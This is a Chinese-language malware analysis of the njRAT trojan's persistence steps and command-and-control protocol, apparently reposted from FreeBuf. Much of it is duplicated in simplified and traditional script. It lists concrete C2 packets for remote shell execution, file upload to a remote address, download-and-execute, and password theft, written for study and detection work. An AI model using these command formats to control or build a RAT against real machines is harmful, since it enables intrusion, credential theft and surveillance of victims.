安全圈 | 专注于最新网络信息安全讯息新闻

首页

史上最全的njrat通信協議分析

作者 strmiska 时间 2020-03-04
all

*本文原創作者:菠菜,本文屬FreeBuf原創獎勵計畫,未經許可禁止轉載

Njrat,又稱Bladabindi,該木馬家族使用.NET框架編寫,是一個典型的RAT類程式,通過控制端可以操作受控端的檔案、行程、服務、註冊表內容,也可以盜取受控端的瀏覽器的保存的密碼資訊等內容。此外,還具有遠程荧幕抓取,木馬用戶端陞級等功能。

Njrat採用了挿件機制,通過使用不同的挿件來擴展新的木馬功能。本文涉及到njrat的三款挿件,分別為:sc2.dll,ch.dll和pw.dll,其中的ch.dll用來實現與受控端的聊天對話功能。pw.dll用來實現對受控端密碼內容的抓取,sc2.dll用來實現遠程桌面功能。

當受控端上線時,主控端會彈出提示資訊如下所示:

控制端:

木馬配置選項如下:

控制介面如下圖

木馬程式

總體的程式碼結構:

對於被控端程式碼(也就是木馬程式)的總體程式碼結構如下圖:

木馬的Main函數入口只是調用了Ok類的ko方法。

確保單實例運行

通過互斥體來實現單實例運行。互斥體名稱為“f8782a013a20610e09216f21b705d856”。

拷貝自身,設定註冊表,加啟動項:

1.判斷是不是在temp目錄下

2.如果不在temp目錄下,判斷temp目錄下是否有樣本檔案存在

3.如果樣本檔案存在,剛將樣本檔案删除

4.重新拷貝自己到臨時目錄下

5.運行temp目錄下的程式

設定註冊表:

添加防火牆規則:

添加啟動項,與主控端設定相關:

添加的註冊表中啟動項位置

添加的啟動項的名稱

鍵盤記錄功能:

開啟線程鍵盤記錄

鍵盤記錄線程函數:

鍵盤記錄到的內容:

通信過程

通信中的關鍵數據使用base64加密的數據。通信命令各部分之間使用|’|'|分隔。

開啟線程,與主控端通信

通信過程的內容主要分為四部分:

第一部分:命令類型如Ex,un,div,rn,ret等

第二部分為:命令的子類型,如proc,tcp,RG,rs,srv

第三部分為:操作命令,如~表示查看,k表示殺掉

第四部分為:操作命令對應的參數。如要殺死的行程名,要啟動的服務名,要關閉的網絡連接等

以下對於常用功能的通信命令進行詳細分析。

文件管理命令

Ex|'|'|fm|'|'|~

命令类型为Ex,命令子类型为fm

操作命令类型如下:

!对应打开文件内容,

dl删除文件

rar表示压缩文件

nm表示重命名文件

up表示上传文件

fl表示

Ex|'|'|fm|'|'|!|'|'|QzpcVXNlcnNcQWRtaW5pc3RyYXRvclxEZXNrdG9wXA==表示打开“C:\Users\Administrator\Desktop\”目录

Ex|'|'|fm|'|'|dl|'|'|RTpcZHVtcCAtIOWJr+acrC5leGUq表示删除“E:\dump - 副本.exe“文件

Ex|'|'|fm|'|'|rar|'|'|RTpcLnJhcg==|'|'|RTpc|'|'|YSAteSAiRTpcLnJhciIgImR1bXAgLSDlia/mnKwubWFwIg==将“a -y "E:\.rar" "dump - 副本.map"”压缩到“E:\.rar”(RTpcLnJhcg==解base64)

Ex|'|'|fm|'|'|nm|'|'|RTpcaHJzd29yZC5leGUqSEFIQSo=将E:\hrsword.exe命名为HAHA

Ex|'|'|fm|'|'|up|'|'|10.0.2.15:49200|'|'|RTpcZXhhbXBsZS5iYXQ=|'|'|8将“E:\example.bat”文件上传到10.0.2.15:49200地址,文件的大小为8字节

Ex|'|'|fm|'|'|fl|'|'|d3d3LmJhaWR1LmNvbS9hLmpwZw==|'|'|RTpcd3d3LmJhaWR1LmNvbS9hLmpwZw==将www.baidu.com/a.jpg下载到

Ex|'|'|fm|'|'|~

命令類型為Ex,命令子類型為fm

操作命令類型如下:

!對應打開文件內容,

dl刪除檔

rar表示壓縮檔

nm表示重命名檔案

up表示上傳文件

fl表示

Ex|'|'|fm|'|'|!|'|'|QzpcVXNlcnNcQWRtaW5pc3RyYXRvclxEZXNrdG9wXA==表示打開“C:\Users\Administrator\Desktop\”目錄

Ex|'|'|fm|'|'|dl|'|'|RTpcZHVtcCAtIOWJr+acrC5leGUq表示删除“E:\dump -副本.exe“檔案

Ex|'|'|fm|'|'|rar|'|'|RTpcLnJhcg==|'|'|RTpc|'|'|YSAteSAiRTpcLnJhciIgImR1bXAgLSDlia/mnKwubWFwIg==將“a -y“E:\.rar”“dump -副本.map””壓縮到“E:\.rar”(RTpcLnJhcg==解base64)

Ex|'|'|fm|'|'|nm|'|'|RTpcaHJzd29yZC5leGUqSEFIQSo=將E:\hrsword.exe命名為HAHA

Ex|'|'|fm|'|'|up|'|'|10.0.2.15:49200|'|'|RTpcZXhhbXBsZS5iYXQ=|'|'|8將“E:\example.bat”文件上傳到10.0.2.15:49200地址,檔案的大小為8位元組

Ex|'|'|fm|'|'|fl|'|'|d3d3LmJhaWR1LmNvbS9hLmpwZw==|'|'|RTpcd3d3LmJhaWR1LmNvbS9hLmpwZw==將www.baidu.com/a.jpg下載到

網絡連接查看命令

命令格式為:

Ex|'|'|tcp|'|'|操作命令|'|'|操作参数

操作命令中:!表示断开连接,~表示显示连接列表

Ex|'|'|tcp|'|'|~|'|'| 表示显示所有的网络连接列表

Ex|'|'|tcp|'|'|!|'|'|0.0.0.0:491540.0.0.0:0表示断开这条连接

Ex|'|'|tcp|'|'|操作命令|'|'|操作參數

操作命令中:!表示斷開連接,~表示顯示連接清單

Ex|'|'|tcp|'|'|~|'|'|表示顯示所有的網絡連接清單

Ex|'|'|tcp|'|'|!|'|'|0.0.0.0:491540.0.0.0:0表示斷開這條連接

註冊表查看命令

命令格式為:

Ex|'|'|RG|'|'|操作命令|'|'|操作参数

操作命令包括:

~表示查看命令,!表示新建命令,@表示删除注册表内容命令

Ex|'|'|RG|'|'|!|'|'|HKEY_CURRENT_USER\|'|'|aaaa|'|'|bbb|'|'|1表示在HKEY_CURRENT_USER\注册表下新建名字为aaaa,内容为bbb,类型为1的注册表项

Ex|'|'|RG|'|'|操作命令|'|'|操作參數

操作命令包括:

~表示查看命令,!表示新建命令,@表示删除註冊表內容命令

Ex|'|'|RG|'|'|!|'|'|HKEY_CURRENT_USER\|'|'|aaaa|'|'|bbb|'|'|1表示在HKEY_CURRENT_USER\註冊表下新建名字為aaaa,內容為bbb,類型為1的註冊表項

Ex|'|'|RG|'|'|@|'|'|HKEY_CURRENT_USER\|'|'|aaaa删除aaaa的键值

Ex|'|'|RG|'|'|~|'|'|HKEY_CURRENT_USER\ 查看注册表HKEY_CURRENT_USER下的内容

Ex|'|'|RG|'|'|@|'|'|HKEY_CURRENT_USER\|'|'|aaaa删除aaaa的鍵值

Ex|'|'|RG|'|'|~|'|'|HKEY_CURRENT_USER\查看註冊表HKEY_CURRENT_USER下的內容

遠程shell命令

命令格式为:Ex|'|'|rs|'|'|操作命令|'|'|操作参数

操作命令包括:

~表示打开远程shell命令,!表示远程执行命令

Ex|'|'|rs|'|'|~ 表示显示远程shell窗口

Ex|'|'|rs|'|'|!|'|'|dGFza2xpc3Q= 远程运行tasklist命令

命令格式為:Ex|'|'|rs|'|'|操作命令|'|'|操作參數

操作命令包括:

~表示打開遠程shell命令,!表示遠程執行命令

Ex|'|'|rs|'|'|~表示顯示遠程shell視窗

Ex|'|'|rs|'|'|!|'|'|dGFza2xpc3Q=遠程運行tasklist命令

服務查看命令

命令格式为:Ex|'|'| srv |'|'|操作命令|'|'|操作参数

操作命令包括:

~对应显示列表命令,@对应的暂停命令,!对应的停止命令,#对应开启服务命令

Ex|'|'|srv|'|'|~ 显示所有的服务列表

Ex|'|'|srv|'|'|!|'|'|AeLookupSvc 停止AeLookupSvc服务的命令

命令格式為:Ex|'|'| srv |'|'|操作命令|'|'|操作參數

操作命令包括:

~對應顯示清單命令,@對應的暫停命令,!對應的停止命令,#對應開啟服務命令

Ex|'|'|srv|'|'|~顯示所有的服務清單

Ex|'|'|srv|'|'|!|'|'|AeLookupSvc停止AeLookupSvc服務的命令

行程命令

命令格式为:Ex|'|'| proc |'|'|操作命令|'|'|操作参数

操作命令包括:

~对应显示列表命令,k杀死指定进程

Ex|'|'|proc|'|'|~ 显示进程列表

Ex|'|'|proc|'|'|k|'|'|3036 杀死pid为3036的进程的通信命令

命令格式為:Ex|'|'| proc |'|'|操作命令|'|'|操作參數

操作命令包括:

~對應顯示清單命令,k殺死指定行程

Ex|'|'|proc|'|'|~顯示行程清單

Ex|'|'|proc|'|'|k|'|'|3036殺死pid為3036的行程的通信命令

對木馬檔案的操作命令

命令格式為:un |’|'| proc|’|'|操作命令

操作命令包括:

!结束木马端的运行,@重新启动木马客户端, ~卸载木马程序

卸載木馬程式主要進行下麵的操作

陞級木馬用戶端

使用up 命令

有两种升级方式:本地磁盘文件升级和在线升级

使用在线升级的数据包内容为:

up|'|'|木马升级包地址

本地升级数据包内容为:

up|'|'|\u001F+本地升级包的zip压缩后的内容

使用up命令

有兩種陞級管道:本地磁片檔案陞級和線上升級

使用線上升級的數据包內容為:

up|'|'|木馬升級包地址

本地陞級數据包內容為:

up|'|'|\u001F+本地升級包的zip壓縮後的內容

下載執行

被控端接收到下載執行的命令,解析出命令參數,使用WebClient的DownloadData方法下載,下載成功後執行

腳本執行與本地執行:

主控端的腳本的內容會使用ZIP壓縮後,再封裝成命令包發送,控制端接收到命令後,會使用壓縮演算法解壓後,將內容寫入到臨時目錄下的指定的副檔名(副檔名也由主控端發送確定)後,執行。與下載執行的數据包內容不同之處在於,腳本執行與本地執行數据包的頭兩個位元組為001f

獲取密碼:

主控端向受控端發送ret指令,受控端接收到指令後,加載註冊表中保存的pw挿件,使用挿件獲取到密碼後發送給主控端

主控端發送的命令為:

ret|'|'|b88ece4c04f706c9717bbe6fbda49ed2|'|'|(

其中的b88ece4c04f706c9717bbe6fbda49ed2表示pw插件保存在注册表中的位置

受控端返回的密码信息格式为:

ret|'|'|b88ece4c04f706c9717bbe6fbda49ed2|'|'|KiAqICogKiAqICogKiAqICogKiAqICogKiA=

KiAqICogKiAqICogKiAqICogKiAqICogKiA=解base64后为“* * * * * * * * * * ** *”,表示没有获得密码内容

ret|'|'|b88ece4c04f706c9717bbe6fbda49ed2|'|'|(

其中的b88ece4c04f706c9717bbe6fbda49ed2表示pw挿件保存在註冊表中的位置

受控端返回的密碼資訊格式為:

ret|'|'|b88ece4c04f706c9717bbe6fbda49ed2|'|'|KiAqICogKiAqICogKiAqICogKiAqICogKiA=

KiAqICogKiAqICogKiAqICogKiAqICogKiA=解base64後為“* * * * * * * * * * ** *”,表示沒有獲得密碼內容

聊天通信的實現:

從註冊表中得到ch的組件,大小為0×3000。

荧幕影像的通信:

這裡的通信並不是“遠程桌面”的效果,而是下圖中的縮略圖的通信內容

通過CopyFromScreen得到螢幕截圖保存到圖片格式,隨後將此次生成的影像與上次生成的影像進行md5比較,如果md5不一致,則發送這次的截圖數據。通過md5來對比影像是為了减少重複傳輸多次相同內容的影像。

通信的數据包內容為:

CAP|'|'|35|'|'|23

表示向受控端請求的影像是用來顯示在主控端的縮略圖中

遠程桌面的通信:

遠程桌面的效果圖:

通信的數据包命令為:div

木馬端會根據控制端傳送的數据包,判斷註冊表下是不是有對應的挿件,如果沒有,發送迴響包給控制端,隨後控制端會發送一個經過壓縮的sc2.dll的挿件給受控端,受控端隨後啟用挿件進行遠程案頭的通信。並將挿件寫入到註冊表中。

結論

Njrat是近年來最為活躍的木馬家族之一。這一方面是因為木馬簡單易學,在網上隨處可見配寘木馬的文章,另一方面,其强大的遠控功能滿足了網絡犯罪的需要,甚至網絡江湖中有傳聞,極端組織ISIS也曾使用njRAT作為重要的網絡武器。本文只是對njRat使用的各種遠控功能的數據通話進行了梳理與羅列,只做科技學習交流。安全廠商可根據自身需要在其網路安全設備中加入相應的檢測與防護策略,共同抵抗njrat的入侵。

*本文原創作者:菠菜,本文屬FreeBuf原創獎勵計畫,未經許可禁止轉載